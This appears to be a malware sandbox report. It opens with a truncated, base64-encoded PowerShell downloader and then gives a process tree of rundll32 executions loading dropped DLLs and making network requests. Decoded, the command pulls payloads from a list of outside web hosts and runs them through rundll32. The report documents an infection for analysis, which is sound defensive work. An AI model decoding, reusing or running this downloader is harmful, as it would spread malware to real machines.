wBzACcAKQApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgARgBHAG4ASgAnACsAJwApACcAKwAnACgAJwArACcAMwAnACsAJwBzADIAKQAoAEAAaAB0AHQAcAA6AEoAKQAoACcAKQApACsAJwAzACcAKwAnAHMAJwArACgAKAAnADIAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGsAJwArACcAbwAnACkAKQArACcAcgAnACsAKAAnAGUAYQAnACsAJwBuAGsAJwArACcAaQBkACcAKQArACgAJwBzACcAKwAnAGUAZAAnACkAKwAoACcAdQAuAGMAJwArACcAbwBtACcAKQArACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAcAAtAGMAbwAnACsAJwBuACcAKQApACsAKAAnAHQAZQBuACcAKwAnAHQAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAMgBjACcAKwAnAFEAJwApACsAKAAoACcAVABoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAJwArACcAMwBzADIAKQAoAEoAJwArACcAKQAnACsAJwAoACcAKQApACsAKAAnADMAcwAnACsAJwAyACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAZQB4AHAAJwArACcAZQBkAGkAJwApACsAJwB0AGkAJwArACcAbwAnACsAKAAnAG4AcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALgBjACcAKwAnAG8AJwArACcAbQBKACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzAHMAJwArACcAMgAnACsAJwApACgAWABKACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAB0AHQAcAAnACsAJwBzADoASgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACgAJwAzAHMAJwArACcAMgApACcAKwAnACgASgAnACsAJwApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcwB1ACcAKwAnAHIAJwApACsAJwBpACcAKwAoACcAYQBnAHIAJwArACcAbwAnACkAKwAoACcAZgAnACsAJwByAGUAcwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACgAKAAnAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHMAZQAnACsAJwByAGUAJwApACkAKwAoACgAJwB2AGUAcgBzAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAE0AJwApACkAKwAnAFYARAAnACsAJwBqACcAKwAoACgAJwBJAEoAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAnACsAJwAoAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGcAJwArACcAZQAnACsAJwBvAGYAJwApACkAKwAoACcAZgAnACsAJwBvAGcAJwApACsAJwBsAGUAJwArACgAJwBtAHUAcwAnACsAJwBpAGMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQApACsAKAAoACcAbQBpACcAKwAnAG4AJwArACcASgApACgAJwApACkAKwAoACgAJwAzAHMAMgApACgAeAAnACsAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnAHMAOgBKACkAKAAnACsAJwAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGQAJwArACcAYQBnACcAKQArACgAJwByACcAKwAnAGEAbgBpACcAKQArACcAdAAnACsAKAAnAGUAZwBpAGEAcgBlACcAKwAnAC4AYwBvACcAKwAnAG0ASgAnACkAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAJwAoACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtAGkAbgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKABqAEMASABKACcAKwAnACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALgAiAFIAZQBQAGwAYQBgAEMAZQAiACgAKAAoACgAKAAnAEoAKQAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAFAAbABpAFQAIgAoACQAQgBpAHkANwB2AGYAegAgACsAIAAkAFMAbABmAHIAMQBnAHAAIAArACAAJABaADcAdgB1AGwAYwB2ACkAOwAkAEQAbQBxAGkAOABwAGkAPQAoACcAUAAnACsAKAAnAGoAZAB1ACcAKwAnAGQAYwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAHAANQBrAG4AcgB5ACAAaQBuACAAJABKAGsAZAB5AHMAMABvACAAfAAgAFMAYABPAFIAdAAtAGAAbwBCAEoAYABFAGAAQwB0ACAAewBnAGAARQBUAC0AcgBgAEEAbgBgAEQATwBtAH0AKQB7AHQAcgB5AHsAJABHAGsAaABtADEAdABnAC4AIgBEAE8AdwBuAGwAbwBgAEEAYABEAGYASQBMAEUAIgAoACQAWgBwADUAawBuAHIAeQAsACAAJABKAGQAZwB6AGEANQBvACkAOwAkAFoAZABjAGoAMABjAG4APQAoACcASAAnACsAKAAnADMAJwArACcAcQAwADkAawAnACkAKwAnAHEAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEoAZABnAHoAYQA1AG8AKQAuACIATABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAOQA4ADgANwApACAAewAmACgAJwByACcAKwAnAHUAbgAnACsAJwBkAGwAbAAzADIAJwApACAAJABKAGQAZwB6AGEANQBvACwAJwAjADEAJwAuACIAVABPAHMAYABUAGAAUgBpAG4ARwAiACgAKQA7ACQASABhAG8AMAA4ADYAeQA9ACgAJwBPAGsAJwArACcAbQBiACcAKwAoACcAZQAwACcAKwAnADgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAdgBpAF8AbQB0AGIAPQAoACgAJwBCADAAJwArACcAZgAwACcAKQArACcAawBnACcAKwAnAG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAGYANABjAHQAeQBjAD0AKAAoACcASwAnACsAJwBqAG8AJwApACsAJwA0ACcAKwAoACcAYgBtACcAKwAnAGcAJwApACkA2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll,#13⤵
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll,#14⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Phvn\slfj.arc",RunDLL5⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Phvn\xlzkiem.dll",RunDLL mAQAABwAAABQAGgAdgBuAFwAcwBsAGYAagAuAGEAcgBjAAAA6⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Phvn\slfj.arc",Control_RunDLL7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2624
-
-
-
-
-
-